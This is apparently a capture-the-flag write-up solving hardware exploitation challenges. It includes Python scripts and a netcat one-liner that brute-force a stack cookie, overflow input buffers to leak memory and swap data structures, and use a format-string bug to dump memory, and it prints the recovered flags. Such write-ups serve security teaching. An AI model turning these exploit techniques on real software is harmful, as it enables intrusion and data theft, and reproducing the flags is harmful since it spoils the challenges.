Skip to content

Latest commit

 

History

History
318 lines (247 loc) · 11.5 KB

File metadata and controls

318 lines (247 loc) · 11.5 KB

Exploitation 100 - Photo Manager

The following description is given for this challenge:

We have recently been informed that a group of hackers exploited a vulnerability in a PC within another very secure network. Our operative says the hacker in charge took a snapshot of the password, which they stored in their secret hidden-away database.

Today we found a photo manager service running on the internet. This service can be linked to the hacker who retrieved the passwords. From the size of the photo manager we can see they stored lots of pictures, so we are hoping they stored the password on their photo manager too. Can you breach their photo manager and take a quick look?

Keep in mind that the flag is 32 characters long and you should disregard the last ‘1’.

Interfacing with the board provides the following:

[1] Login
[2] Memory management
1
Please authenticate yourself with your hardware token
Please insert token. (8 characters)
Token can only contain the characters [A-Z/a-z/0-9]

AAAAAAAA
Welcome AAAAAAAA

When providing a very long name an error message about a corrupt stack cookie appears:

Please authenticate yourself with your hardware token
Please insert token. (8 characters)
Token can only contain the characters [A-Z/a-z/0-9]

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Stack cookie corrupted.

So it appears that there is a buffer overflow in the reading of the token value. The next step is to find the size of the buffer and identify how many A's have to be sent to get the cookie corrupted message.

Some quick and dirty code to run the memory usage function and then find the number of A's to send to trigger the cookie corrupted message:

from sock import Sock
s = Sock('127.0.0.1',1235)
s.read_until('[2] Memory management\r\n')
s.send('2\r')
reply = s.read_until('[2] Memory management\r\n')
print reply.split('\r\n')[1]
for x in range(1, 128):
    s.send('1\r')
    r = s.read_until('Token can only contain the characters [A-Z/a-z/0-9]\r\n')
    s.send(('A' * x) + '\r')
    r = s.read_until('[2] Memory management\r\n')
    if 'cookie' in r:
        print x, "Cookie corrupted"
        exit()

Running this a few times yields different results:

hackbox:exploit1:% python l.py
Memory space used: 3992 bytes
97 Cookie corrupted
hackbox:exploit1:% python l.py
Memory space used: 3979 bytes
110 Cookie corrupted
hackbox:exploit1:% python l.py
Memory space used: 3997 bytes
92 Cookie corrupted

Each time the exploit runs a different amount of memory space is used and also the number of A's that need to be sent to overwrite the stack cookie differ. After some puzzling it turns out that the number of A's that need to be sent is equal to 4089 - memory space used. The last A sent then overwrites the stack cookie.

Now we know how to calculate the number of A's required to reach the stack cookie we can try to brute-force the stack cookie value, trying all values for the first byte of the stack cookie.

from sock import Sock
s = Sock('127.0.0.1',1235)
l = 0
s.read_until('[2] Memory management\r\n')
s.send('2\r')
r = s.read_until('[2] Memory management\r\n')
used = int(r.split('\r\n')[1].split()[-2])
i = 4088 - used
print "Stack cookie is at offset: %s" % i

cookie = ''
for x in range(60,256):
    s.send('1\r')
    s.read_until('Token can only contain the characters [A-Z/a-z/0-9]\r\n\r\n')
    if not cookie:
        d = 'A'*i
        s.send(d + cookie + chr(x) + '\r')
        o = s.read_line()
        print "Bruting cookie", i, x, repr(o)
        if 'Welcome' in o:
            cookie += chr(x)
            print "Cookie found: ", repr(cookie)
            break
    r = s.read_until('[2] Memory management\r\n')

Now the value of the stack cookie can be brute-forced. And we can overwrite memory. Next step is to figure out what to overwrite.

If we overwrite one byte after the stack cookie, for example with chr(16) we get a new error:

The length is not equal to 8 anymore. It is found to be 16 now.

Aparently the memory we overwrite looks something like this: <name_buffer><cookie><length><something>

The next character after the length seems to be ignored, any value written yields the same output (Welcome name).

So we continue to the next character. Now the output becomes interesting, we get a lot of 'Hardware tokens are not of given ASCII sub-set' messages but after a while we start seeing parts of the name returned at an offset instead of at the start, for example:

0x55 'Welcome ABCDEFGH\r\n[1] Login\r\n[2] Memory management\r\n'
0x56 'Welcome BCDEFGHI\r\n[1] Login\r\n[2] Memory management\r\n'
0x57 'Welcome CDEFGHIJ\r\n[1] Login\r\n[2] Memory management\r\n'
0x58 'Welcome DEFGHIJK\r\n[1] Login\r\n[2] Memory management\r\n'

It appears we are dumping memory, a while later the following appears:

0xcf 'Welcome 626f9787\r\n[1] Login\r\n[2] Memory management\r\n'
0xd0 'Welcome 26f97879\r\n[1] Login\r\n[2] Memory management\r\n'
0xd1 'Welcome 6f978792\r\n[1] Login\r\n[2] Memory management\r\n'
0xd2 'Welcome f978792a\r\n[1] Login\r\n[2] Memory management\r\n'
0xd3 'Welcome 978792af\r\n[1] Login\r\n[2] Memory management\r\n'
0xd4 'Welcome 78792afd\r\n[1] Login\r\n[2] Memory management\r\n'

This looks an awful lot like a flag. Changing the code to dump only this part we get the flag. See final solution in photo.py.

hackbox:exploit1:% python photo.py
Stack cookie is at offset: 89
Cookie found:  'Y'
FLAG: 626f9787
FLAG: 626f978792afd3e8
FLAG: 626f978792afd3e8f30801c3
FLAG: 626f978792afd3e8f30801c3aa126d98

Exploitation 200 - Animals

The following description is given for this challenge:

After decades of research, we have finally managed to catalogue all the animals on the planet earth. Including very rare pictures!

After the flashing the challenge to the board the following is shown:

Show me a

 [c]at
 [d]og
 [m]ouse

>>c

This is a c
   A_A
  (-.-)
   |-|
  /   \
 |     |   __
 |  || |  |  \__
  \_||_/_/

It appears that the input is echoed back, for example if you type in catplz!! it will echo back: This is a catplz!!.

After trying some %x and similar to no avail I started looking for a buffer overflow, by trying inputs of various lengths to see if something strange happened:

from sock import Sock
import hexdump
s = Sock('127.0.0.1',1235)
s.read_until('>>')
for x in range(0,255):
    s.send(('c'*x) + '\r\n')
    reply = s.read_until('>>').split('\r\n')[1]
    print x
    hexdump.hexdump(reply.replace('This is a ',''))

By sending 11 c's something strange happens indeed:

00000000: 63 63 63 63 63 63 63 63  63 63 63 00 5E 01 68 00  ccccccccccc.^.h.
00000010: 00 01 00 00 58 01 69 01  00 01 00 00 52 01 6A 02  ....X.i.....R.j.
00000020: 00 01 00 00 4C 01 6B 03  00 01 00 00 00 00 00 00  ....L.k.........
00000030: 00 00 00 00 00 00 00 00  00 00 00 00              ............

The program appears to leak some memory. It turns out the 11th byte of input over-writes the length of the output. If we send 'c'*10 + chr(1) we get back only 1 character of output. If we send 'c'*10 + chr(0xff) we get back the following output:

00000000: 63 63 63 63 63 63 63 63  63 63 FF 00 5E 01 68 00  cccccccccc..^.h.
00000010: 00 01 00 00 58 01 69 01  00 01 00 00 52 01 6A 02  ....X.i.....R.j.
00000020: 00 01 00 00 4C 01 6B 03  00 01 00 00 00 00 00 00  ....L.k.........
00000030: 00 00 00 00 00 00 00 00  00 00 00 00              ............

Another interesting observation is that if we send 'c'*12 we get a cat back but for 'c'*13 we don't. The strange thing is that for d we keep getting the dog for 'd'*20 but not any more for 'd'*21

If we correlate this to the dumped memory we can see the following:

Bytes 0-9   63 63 63 63 63 63 63 63  63 63                   cccccccccc = input
Byte 10     FF                                               .          = length
Bytes 12-19 5E 01 68 00 00 01 00 00                          ^.h.....   = cat
Bytes 20-27 58 01 69 01 00 01 00 00                          X.i.....   = dog
Bytes 28-35 52 01 6A 02 00 01 00 00                          R.j.....   = mouse
Bytes 36-43 4C 01 6B 03 00 01 00 00                          L.k.....   = ?

So there appear to be 4 8 byte data structures representing the animals. 3 of these we already know but there is a fourth one. The exploit is to overwrite the cat data-structure with that of the unknown animal and then display a cat. Refer to animals.py for the full exploit.

hackbox:exploit2:% python animals.py

This is a cccccccccccLkXiRjLk

FLAG:
c18a2a667c8b37b7
0fe176461133f323
      /
     /
  ___\______
 / ___  ___ \
/ / @ \/ @ \ \
\ \___/\___/ /\
 \____\/____/||
 /     /\\\\\//
 |     |\\\\\\
  \      \\\\\\
   \______/\\\\
    _||_||_
     -- --

If you want to be cool, this can even be solved with a one-liner:

hackbox:exploit2:% echo '6363636363636363636363014c016b03000100000d0a' | xxd -r -p | nc 127.0.0.1 1235 | grep -a -A2 FLAG
FLAG:
c18a2a667c8b37b7
0fe176461133f323

Exploitation 150 - Casino

The following description is given for this challenge:

Welcome to our casino, Riscure Royale! Please enjoy your stay by playing a game, or drink something at our bar. Reach 1000 credits and you will be rewarded with a special prize.

We have seen loads of cheaters lately, so we have extra guards walking around. Do not feel threatened by them, they will only kick out the people that cheat. Of course, once you earn a lot of money they will start investigating the matter. Better spend some money at our bar if this happens.

PS. We all know casinos are scams.

After the flashing the challenge to the board the following is shown:

Welcome to the casino!
Get a currency of 1000 and we give you the secret key.
Occasionally we give away coupons for free drinks.
We have guards walking around, looking for cheaters.
Don't get caught cheating. We will take our currency back.

Current balance: 50
Amount of coupons left: 0

[1] Play
[2] Cheat
[3] Go for a drink at the bar
[4] Give me some free money
[5] Restart

After playing around with this manually for a while I noticed that if you just keep pressing enter (not making a choice in the menu) at some point you get a coupon that can be used to get a free drink.

We appreciate your stay here.
To show our gratitude we give you a coupon for a free drink

Current balance: 50
Amount of coupons left: 1

Now menu option 3 is available and can be used to buy a drink:

What would you like to drink?

The text that is entered is echoed back to the screen. If we include a format string character (like %x) it is evaluated.

For example entering test %x %x yields the following output

test 6574 7473

The values echoed back (6574 7473) correspond to the input (test) in little endian format. This means that the input string can be referenced as the first format string argument. Using this memory can be dumped by providing an address followed by %s. This will dump memory until the first 0-byte string terminator is encountered.

Implemented a small memory dumper which is able to dump memory using the format string exploit. At address 0x117 the flag can be found:

0x117
00000000: 46 4C 41 47 3A 61 30 65  36 66 32 38 63 31 34 33  FLAG:a0e6f28c143
00000010: 32 64 65 64 36 62 38 33  39 36 61 34 31 34 33 64  2ded6b8396a4143d
00000020: 37 65 36 30 64 00                                 7e60d.

Exploitation 400 - Weird Machine

Refer to the FridgeJIT section.